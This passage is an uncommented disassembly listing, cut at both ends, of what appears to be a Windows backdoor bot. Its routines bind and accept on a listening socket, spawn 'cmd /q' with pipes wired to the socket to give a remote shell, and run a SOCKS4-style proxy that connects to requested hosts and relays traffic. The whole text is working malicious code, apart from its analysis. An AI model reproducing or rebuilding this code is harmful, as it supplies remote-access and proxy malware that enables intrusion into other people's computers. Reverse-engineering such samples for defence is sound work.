		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	dword_4280B4	; TerminateThread
		xor	eax, eax
		jmp	loc_411AB8
; ---------------------------------------------------------------------------


loc_411A18:				; CODE XREF: sub_411968+86j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	dword_428134	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_411A72
		dec	eax
		jz	short loc_411A6C
		dec	eax
		jz	short loc_411A58
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437B10
		call	sub_415FB9
		pop	ecx
		pop	ecx
		jmp	short loc_411A87
; ---------------------------------------------------------------------------


loc_411A58:				; CODE XREF: sub_411968+D9j
		mov	edi, dword_4280B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_411A87
; ---------------------------------------------------------------------------


loc_411A6C:				; CODE XREF: sub_411968+D6j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_411A76
; ---------------------------------------------------------------------------


loc_411A72:				; CODE XREF: sub_411968+D3j
		push	ebx
		push	dword ptr [esi+14h]


loc_411A76:				; CODE XREF: sub_411968+108j
		call	dword_4280B4	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	dword_428100	; TerminateProcess


loc_411A87:				; CODE XREF: sub_411968+EEj
					; sub_411968+102j
		push	dword ptr [esi+10h]
		mov	edi, dword_428070
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4CE3A0	; closesocket
		push	esi
		call	sub_41B721
		xor	eax, eax
		inc	eax


loc_411AB7:				; CODE XREF: sub_411968+6Aj
		pop	ecx


loc_411AB8:				; CODE XREF: sub_411968+ABj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411968	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411ABD	proc near		; CODE XREF: sub_411968+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BB45
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411BA7
		mov	ebx, dword_42810C
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, dword_428070
		test	eax, eax
		jnz	short loc_411B20
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437BF8
		jmp	short loc_411B40
; ---------------------------------------------------------------------------


loc_411B20:				; CODE XREF: sub_411ABD+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_411B48
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437BB8


loc_411B40:				; CODE XREF: sub_411ABD+61j
		call	sub_415FB9
		pop	ecx
		jmp	short loc_411B76
; ---------------------------------------------------------------------------


loc_411B48:				; CODE XREF: sub_411ABD+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411BB6
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411BAB
		push	offset unk_437B90
		call	sub_415F45


loc_411B76:				; CODE XREF: sub_411ABD+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_411B82
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_411B82:				; CODE XREF: sub_411ABD+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_411B8D
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_411B8D:				; CODE XREF: sub_411ABD+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411B96
		push	eax
		call	edi	; CloseHandle


loc_411B96:				; CODE XREF: sub_411ABD+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_411BA0
		push	eax
		call	edi	; CloseHandle


loc_411BA0:				; CODE XREF: sub_411ABD+DEj
		push	esi
		call	sub_41B721
		pop	ecx


loc_411BA7:				; CODE XREF: sub_411ABD+1Dj
		xor	eax, eax
		jmp	short loc_411BB1
; ---------------------------------------------------------------------------


loc_411BAB:				; CODE XREF: sub_411ABD+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_411BB1:				; CODE XREF: sub_411ABD+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411ABD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411BB6	proc near		; CODE XREF: sub_411ABD+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BC00
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BC00
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_428108
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_428104	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	dword_428074	; CreateProcessA
		test	eax, eax
		jz	short loc_411C72
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_441250[eax], ecx
		call	dword_428070	; CloseHandle
		jmp	short loc_411C88
; ---------------------------------------------------------------------------


loc_411C72:				; CODE XREF: sub_411BB6+9Aj
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437C38
		call	sub_415FB9
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_411C88:				; CODE XREF: sub_411BB6+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411BB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C8F	proc near		; DATA XREF: sub_411968+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		mov	ebx, dword_4280EC
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		jmp	short loc_411CF2
; ---------------------------------------------------------------------------


loc_411CA6:				; CODE XREF: sub_411C8F+7Bj
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411CDB


loc_411CB1:				; CODE XREF: sub_411C8F+4Aj
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411CCB
		cmp	dl, 0Dh
		jz	short loc_411CCB
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_411CCB:				; CODE XREF: sub_411C8F+2Cj
					; sub_411C8F+31j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411CB1


loc_411CDB:				; CODE XREF: sub_411C8F+20j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CE358	; send
		test	eax, eax
		jle	short loc_411D0C


loc_411CF2:				; CODE XREF: sub_411C8F+15j
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		call	ebx	; ReadFile
		test	eax, eax
		jnz	short loc_411CA6


loc_411D0C:				; CODE XREF: sub_411C8F+61j
		mov	esi, dword_428094
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_411D28
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437C78
		call	sub_415FB9
		pop	ecx
		pop	ecx


loc_411D28:				; CODE XREF: sub_411C8F+88j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D2D	proc near		; DATA XREF: sub_411968+75o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		jmp	loc_411E26
; ---------------------------------------------------------------------------


loc_411D48:				; CODE XREF: sub_411D2D+10Ej
		cmp	[ebp+var_10], ebx
		jbe	short loc_411D55
		dec	[ebp+var_10]
		jmp	loc_411E29
; ---------------------------------------------------------------------------


loc_411D55:				; CODE XREF: sub_411D2D+1Ej
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411E11
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411DC5
		cmp	al, 7Fh
		jz	short loc_411DC5
		cmp	al, 3
		jnz	short loc_411D80
		push	ebx
		push	ebx
		call	dword_428138	; GenerateConsoleCtrlEvent
		jmp	short loc_411DEC
; ---------------------------------------------------------------------------


loc_411D80:				; CODE XREF: sub_411D2D+47j
		cmp	al, 15h
		jnz	short loc_411DA2
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411DD8
; ---------------------------------------------------------------------------


loc_411DA2:				; CODE XREF: sub_411D2D+55j
		xor	ecx, ecx
		mov	[ebp+esi+var_DC], al
		inc	esi
		inc	ecx
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		jnz	short loc_411DD9
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411DD8
; ---------------------------------------------------------------------------


loc_411DC5:				; CODE XREF: sub_411D2D+3Fj
					; sub_411D2D+43j
		cmp	esi, ebx
		jbe	short loc_411DEF
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411DD8:				; CODE XREF: sub_411D2D+73j
					; sub_411D2D+96j
		pop	ecx


loc_411DD9:				; CODE XREF: sub_411D2D+85j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CE358	; send
		test	eax, eax
		jle	short loc_411E41


loc_411DEC:				; CODE XREF: sub_411D2D+51j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411DEF:				; CODE XREF: sub_411D2D+9Aj
		cmp	al, 0Dh
		jnz	short loc_411E29
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	dword_4280F0	; WriteFile
		test	eax, eax
		jz	short loc_411E41
		xor	esi, esi
		jmp	short loc_411E29
; ---------------------------------------------------------------------------


loc_411E11:				; CODE XREF: sub_411D2D+34j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411E1F
		mov	[ebp+var_C], 1
		jmp	short loc_411E29
; ---------------------------------------------------------------------------


loc_411E1F:				; CODE XREF: sub_411D2D+E7j
		mov	[ebp+var_10], 0Ah


loc_411E26:				; CODE XREF: sub_411D2D+16j
		mov	[ebp+var_C], ebx


loc_411E29:				; CODE XREF: sub_411D2D+23j
					; sub_411D2D+C4j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CE320	; recv
		test	eax, eax
		jg	loc_411D48


loc_411E41:				; CODE XREF: sub_411D2D+BDj
					; sub_411D2D+DEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411D2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E46	proc near		; DATA XREF: sub_401AA1+2BBAo

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	ebx
		mov	[eax+0A8h], edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_4CE308	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_4CE388	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_441254[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4CE334	; bind
		test	eax, eax
		jnz	loc_411FE7
		push	0Ah
		push	edi
		call	dword_4CE330	; listen
		test	eax, eax
		jnz	loc_411FE7
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40A8D5
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_42DFF4
		push	eax
		call	sub_41BEF6
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_411F21
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_409743
		add	esp, 14h


loc_411F21:				; CODE XREF: sub_411E46+B9j
					; sub_411E46+18Aj ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_415F45
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CE39C	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_437D28
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	19h
		push	eax
		call	sub_40B254
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_44124C[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_41204A
		push	esi
		push	esi
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_44125C[ecx], eax
		jnz	short loc_411FDD
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_437CE8
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		jmp	loc_411F21
; ---------------------------------------------------------------------------


loc_411FD5:				; CODE XREF: sub_411E46+19Aj
		push	5
		call	dword_428080	; Sleep


loc_411FDD:				; CODE XREF: sub_411E46+16Dj
		cmp	[ebp+var_28], esi
		jz	short loc_411FD5
		jmp	loc_411F21
; ---------------------------------------------------------------------------


loc_411FE7:				; CODE XREF: sub_411E46+7Bj
					; sub_411E46+8Cj
		push	edi
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset dword_437CB4
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_41202A
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_409743
		add	esp, 14h


loc_41202A:				; CODE XREF: sub_411E46+1C2j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_415F45
		push	[ebp+var_3C]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_411E46	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41204A	proc near		; DATA XREF: sub_411E46+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		xor	edi, edi
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		inc	edi
		lea	esi, dword_441254[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_4CE2F0	; select
		test	eax, eax
		jnz	short loc_4120CB
		push	dword ptr [esi]
		call	dword_4CE3A0	; closesocket
		push	[ebp+arg_0]
		call	sub_40B56A
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread


loc_4120CB:				; CODE XREF: sub_41204A+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_4CE320	; recv
		test	eax, eax
		jg	short loc_4120FC
		push	dword ptr [esi]
		call	dword_4CE3A0	; closesocket
		push	[ebp+arg_0]
		call	sub_40B56A
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread


loc_4120FC:				; CODE XREF: sub_41204A+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_4122F6
		cmp	[ebp+var_4CF], 1
		jnz	loc_4122F6
		cmp	[ebp+var_44], bl
		jz	short loc_412192
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412192
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset dword_437DF4
		call	sub_415FB9
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_41BC00
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CE358	; send
		push	dword ptr [esi]
		call	dword_4CE3A0	; closesocket
		push	[ebp+arg_0]
		call	sub_40B56A
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread


loc_412192:				; CODE XREF: sub_41204A+CFj
					; sub_41204A+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_41BC00
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_4CE388	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_41222A
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		push	offset dword_437DB4
		call	sub_415FB9
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_41BC00
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CE358	; send
		push	dword ptr [esi]
		call	dword_4CE3A0	; closesocket
		push	[ebp+arg_0]
		call	sub_40B56A
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread


loc_41222A:				; CODE XREF: sub_41204A+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_4CE2B0	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412299
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		push	offset dword_437D70
		call	sub_415FB9
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_41BC00
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CE358	; send
		push	dword ptr [esi]
		call	dword_4CE3A0	; closesocket
		push	[ebp+arg_0]
		call	sub_40B56A
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread


loc_412299:				; CODE XREF: sub_41204A+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CE358	; send
		push	dword ptr [esi]
		push	edi
		call	sub_41230E
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CE3A0	; closesocket
		push	dword ptr [esi]
		call	dword_4CE3A0	; closesocket
		push	[ebp+arg_0]
		call	sub_40B56A
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread


loc_4122F6:				; CODE XREF: sub_41204A+B9j
					; sub_41204A+C6j
		push	dword ptr [esi]
		call	dword_4CE3A0	; closesocket
		push	[ebp+arg_0]
		call	sub_40B56A
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread
sub_41204A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41230E	proc near		; CODE XREF: sub_41204A+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_412324:				; CODE XREF: sub_41230E+BEj
					; sub_41230E+EEj
		xor	ecx, ecx
		mov	[ebp+var_100], ebx
		inc	ecx
		xor	eax, eax
		mov	[ebp+var_104], ecx


loc_412335:				; CODE XREF: sub_41230E+36j
		mov	edx, [ebp+arg_0]
		cmp	[ebp+eax*4+var_100], edx
		jz	short loc_412346
		inc	eax
		cmp	eax, ecx
		jb	short loc_412335


loc_412346:				; CODE XREF: sub_41230E+31j
		cmp	eax, ecx
		jnz	short loc_41235A
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_41235A:				; CODE XREF: sub_41230E+3Aj
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CE2F0	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_4CE1F4	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4123BA
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_4CE320	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412402
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE358	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412402


loc_4123BA:				; CODE XREF: sub_41230E+7Ej
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE1F4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_412324
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE320	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412402
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_4CE358	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_412324


loc_412402:				; CODE XREF: sub_41230E+93j
					; sub_41230E+AAj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41230E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412407	proc near		; CODE XREF: sub_412407:loc_41285Ap
					; DATA XREF: sub_401AA1+2061o ...

var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_778		= byte ptr -778h
var_578		= byte ptr -578h
var_577		= byte ptr -577h
var_576		= byte ptr -576h
var_575		= byte ptr -575h
var_574		= byte ptr -574h
var_374		= dword	ptr -374h
var_370		= byte ptr -370h
var_26C		= byte ptr -26Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
var_50		= byte ptr -50h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		xor	eax, eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_374]
		push	ebx
		inc	eax
		push	2
		rep movsd
